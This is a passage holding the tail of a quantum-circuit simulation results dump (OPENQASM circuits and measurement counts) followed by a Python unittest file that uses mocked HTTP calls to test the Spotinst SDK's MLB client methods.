q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1299', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3020140202, 'status': 'DONE', 'data': {'counts': {'0x3': 354, '0x1': 1609, '0x0': 2533, '0x2': 3696}}, 'success': True, 'shots': 8192, 'time_taken': 0.442697098, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1301', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 919966106, 'status': 'DONE', 'data': {'counts': {'0x3': 467, '0x1': 1625, '0x0': 2457, '0x2': 3643}}, 'success': True, 'shots': 8192, 'time_taken': 0.438362399, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1303', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2252527567, 'status': 'DONE', 'data': {'counts': {'0x3': 519, '0x1': 1441, '0x0': 2608, '0x2': 3624}}, 'success': True, 'shots': 8192, 'time_taken': 0.44312432700000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1305', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3945863869, 'status': 'DONE', 'data': {'counts': {'0x3': 675, '0x1': 1407, '0x0': 2664, '0x2': 3446}}, 'success': True, 'shots': 8192, 'time_taken': 0.476057051, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1307', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3991443494, 'status': 'DONE', 'data': {'counts': {'0x3': 773, '0x1': 1294, '0x0': 2747, '0x2': 3378}}, 'success': True, 'shots': 8192, 'time_taken': 0.46989180900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1309', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3623281132, 'status': 'DONE', 'data': {'counts': {'0x3': 813, '0x1': 1234, '0x0': 2899, '0x2': 3246}}, 'success': True, 'shots': 8192, 'time_taken': 0.477793279, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1311', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1292135944, 'status': 'DONE', 'data': {'counts': {'0x3': 898, '0x1': 1099, '0x0': 3009, '0x2': 3186}}, 'success': True, 'shots': 8192, 'time_taken': 0.461273323, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}], 'classification': [-0.008056640625, 0.041748046875, 0.102783203125, 0.146240234375, 0.18505859375, 0.229248046875, 0.2880859375, 0.330322265625, 0.340087890625, 0.3916015625, 0.417236328125, 0.452392578125, 0.461669921875, 0.482666015625, 0.469482421875, 0.49658203125, 0.505615234375, 0.481201171875, 0.483154296875, 0.48095703125, 0.44970703125, 0.420654296875, 0.392578125, 0.368408203125, 0.33740234375, 0.3046875, 0.2626953125, 0.223388671875, 0.148193359375, 0.124267578125, 0.076416015625, 0.033447265625, -0.048095703125, -0.09228515625, -0.102783203125, -0.175048828125, -0.2060546875, -0.258544921875, -0.314697265625, -0.3408203125, -0.3896484375, -0.40478515625, -0.4296875, -0.485107421875, -0.488525390625, -0.485107421875, -0.483154296875, -0.503662109375, -0.49267578125, -0.478271484375, -0.48583984375, -0.47705078125, -0.4287109375, -0.42138671875, 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10

a77131a810a0ba968421b0dc44308484b9f6b8d3

20,203

py

Python

spotinst_sdk2/test/mlb/test_mlb_client.py

spotinst/spotinst-sdk-python

545bb4e45b2979bd3b5577abc293ee58d3b7bbf5

[ "Apache-2.0" ]

17

2018-10-16T16:09:49.000Z

2022-02-12T21:23:51.000Z

spotinst_sdk2/test/mlb/test_mlb_client.py

spotinst/spotinst-sdk-python

545bb4e45b2979bd3b5577abc293ee58d3b7bbf5

[ "Apache-2.0" ]

72

2018-05-30T14:28:45.000Z

2022-03-25T13:21:31.000Z

spotinst_sdk2/test/mlb/test_mlb_client.py

spotinst/spotinst-sdk-python

545bb4e45b2979bd3b5577abc293ee58d3b7bbf5

[ "Apache-2.0" ]

30

2018-02-15T17:52:51.000Z

2022-02-12T21:23:52.000Z

import os import unittest import json from mock import patch from spotinst_sdk2 import SpotinstSession class SimpleNamespace: def __init__(self, **kwargs): self.__dict__.update(kwargs) class AwsInitTestCase(unittest.TestCase): def setUp(self): self.session = SpotinstSession( auth_token='dummy-token', account_id='dummy-account') self.client = self.session.client("mlb") self.mock_ok_res = self.load_json('../test_lib/output/res_ok.json') self.mock_api_call = SimpleNamespace(**self.load_json('../test_lib/api_res.json')) @staticmethod def load_json(path): with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), path)) as group_json: return json.load(group_json) # Test MLB class AWSInitTestMLB(AwsInitTestCase): @patch('requests.get') def testGetAllMLBRuntime(self, mock): mock_get_all_mlb_runtime = self.load_json("../test_lib/output/mlb/get_all_runtime.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_runtime) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_runtime() self.assertEqual(len(response), len(mock_get_all_mlb_runtime["response"]["items"])) @patch('requests.get') def testGetMLBRuntime(self, mock): mock_get_mlb_runtime = self.load_json("../test_lib/output/mlb/get_runtime.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_runtime) mock.return_value = self.mock_api_call response = self.client.get_mlb_runtime(runtime_id="rid-123456") self.assertEqual(len(response), len(mock_get_mlb_runtime["response"]["items"][0])) @patch('requests.put') def testDeregisterMLBRuntime(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.deregister_mlb_runtime(runtime_id="rid-123456") self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.delete') def testDeleteMLBRuntime(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_runtime(runtime_id="rid-123456") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBDeployment(self, mock): mock_create_mlb_deployment_res = self.load_json("../test_lib/output/mlb/create_deployment_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_deployment_res) mock.return_value = self.mock_api_call response = self.client.create_mlb_deployment(deployment_name="test") self.assertEqual(len(response), len(mock_create_mlb_deployment_res["response"]["items"][0])) @patch('requests.put') def testUpdateMLBDeployment(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_deployment(deployment_id="did-123456", deployment_name="test") self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBDeployment(self, mock): mock_get_mlb_deployment_res = self.load_json("../test_lib/output/mlb/get_deployment_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_deployment_res) mock.return_value = self.mock_api_call response = self.client.get_mlb_deployment(deployment_id="did-123456") self.assertEqual(len(response), len(mock_get_mlb_deployment_res["response"]["items"][0])) @patch('requests.get') def testGetAllMLBDeployment(self, mock): mock_get_all_mlb_deployment_res = self.load_json("../test_lib/output/mlb/get_all_deployment_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_deployment_res) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_deployment() self.assertEqual(len(response), len(mock_get_all_mlb_deployment_res["response"]["items"])) @patch('requests.delete') def testDeleteMLBDeployment(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_deployment(deployment_id="did-123456") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBBalancer(self, mock): mock_create_mlb_balancer_res = self.load_json("../test_lib/output/mlb/create_balancer_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_balancer_res) mock.return_value = self.mock_api_call response = self.client.create_mlb_balancer(balancer={}) self.assertEqual(len(response), len(mock_create_mlb_balancer_res["response"]["items"][0])) @patch('requests.put') def testUpdateMLBBalancer(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_balancer(balancer_id="bid-12345", balancer={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBBalancer(self, mock): mock_get_mlb_balancer_res = self.load_json("../test_lib/output/mlb/get_balancer_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_balancer_res) mock.return_value = self.mock_api_call response = self.client.get_mlb_balancer(balancer_id="bid-12345") self.assertEqual(len(response), len(mock_get_mlb_balancer_res["response"]["items"][0])) @patch('requests.get') def testGetAllMLBBalancer(self, mock): mock_get_all_mlb_balancer_res = self.load_json("../test_lib/output/mlb/get_all_balancer_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_balancer_res) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_balancer() self.assertEqual(len(response), len(mock_get_all_mlb_balancer_res["response"]["items"])) @patch('requests.delete') def testDeleteMLBBalancer(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_balancer(balancer_id="bid-12345") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBTargetSet(self, mock): mock_create_mlb_target_set_res = self.load_json("../test_lib/output/mlb/create_target_set_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_target_set_res) mock.return_value = self.mock_api_call response = self.client.create_mlb_target_set(target_set={}) self.assertEqual(len(response), len(mock_create_mlb_target_set_res["response"]["items"][0])) @patch('requests.put') def testUpdateMLBTargetSet(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_target_set(target_set_id="ts-12345", target_set={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBTargetSet(self, mock): mock_get_mlb_target_set_res = self.load_json("../test_lib/output/mlb/get_target_set_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_target_set_res) mock.return_value = self.mock_api_call response = self.client.get_mlb_target_set(target_set_id="ts-12345") self.assertEqual(len(response), len(mock_get_mlb_target_set_res["response"]["items"][0])) @patch('requests.get') def testGetAllMLBTargetSet(self, mock): mock_get_all_mlb_target_set_res = self.load_json("../test_lib/output/mlb/get_all_target_set_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_target_set_res) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_target_set() self.assertEqual(len(response), len(mock_get_all_mlb_target_set_res["response"]["items"])) @patch('requests.delete') def testDeleteMLBTargetSet(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_target_set(target_set_id="ts-12345") self.assertEqual(response, True) @patch('requests.put') def testRegisterMLBTargets(self, mock): mock_register_target_res = self.load_json("../test_lib/output/mlb/register_target_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_register_target_res) mock.return_value = self.mock_api_call response = self.client.register_mlb_targets(target_set_id="ts-12345", targets=[]) self.assertEqual(len(response), len(mock_register_target_res["response"]["items"])) @patch('requests.put') def testDegristerMLBTargets(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.deregister_mlb_targets(target_set_id="ts-12345", targets=[]) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.post') def testCreateMLBTarget(self, mock): mock_create_mlb_target_res = self.load_json("../test_lib/output/mlb/create_target_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_target_res) mock.return_value = self.mock_api_call response = self.client.create_mlb_target(target={}) self.assertEqual(len(response), len(mock_create_mlb_target_res["response"]["items"][0])) @patch('requests.put') def testUpdateMLBTarget(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_target(target_id="t-12345", target={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBTarget(self, mock): mock_get_mlb_target_res = self.load_json("../test_lib/output/mlb/get_target_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_target_res) mock.return_value = self.mock_api_call response = self.client.get_mlb_target(target_id="t-12345") self.assertEqual(len(response), len(mock_get_mlb_target_res["response"]["items"][0])) @patch('requests.get') def testGetAllMLBTarget(self, mock): mock_get_all_mlb_target_res = self.load_json("../test_lib/output/mlb/get_all_target_res.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_target_res) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_target() self.assertEqual(len(response), len(mock_get_all_mlb_target_res["response"]["items"])) @patch('requests.delete') def testDeleteMLBTarget(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.delete_mlb_target(target_id="t-12345") self.assertEqual(response, True) @patch('requests.post') def testCreateMLBListener(self, mock): mock_create_mlb_listener = self.load_json("../test_lib/output/mlb/listener.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_listener) mock.return_value = self.mock_api_call response = self.client.create_mlb_listener(listener={}) self.assertEqual(len(response), len(mock_create_mlb_listener["response"]["items"][0])) @patch('requests.put') def testUpdateMLBListener(self, mock): self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res) mock.return_value = self.mock_api_call response = self.client.update_mlb_listener(listener_id="ls-12345",listener={}) self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"])) @patch('requests.get') def testGetMLBListener(self, mock): mock_get_mlb_listener = self.load_json("../test_lib/output/mlb/listener.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_listener) mock.return_value = self.mock_api_call response = self.client.get_mlb_listener(listener_id="ls-12345") self.assertEqual(len(response), len(mock_get_mlb_listener["response"]["items"][0])) @patch('requests.get') def testGetAllMLBListener(self, mock): mock_get_all_mlb_listner = self.load_json("../test_lib/output/mlb/listener.json") self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content) self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_listner) mock.return_value = self.mock_api_call response = self.client.get_all_mlb_listener() 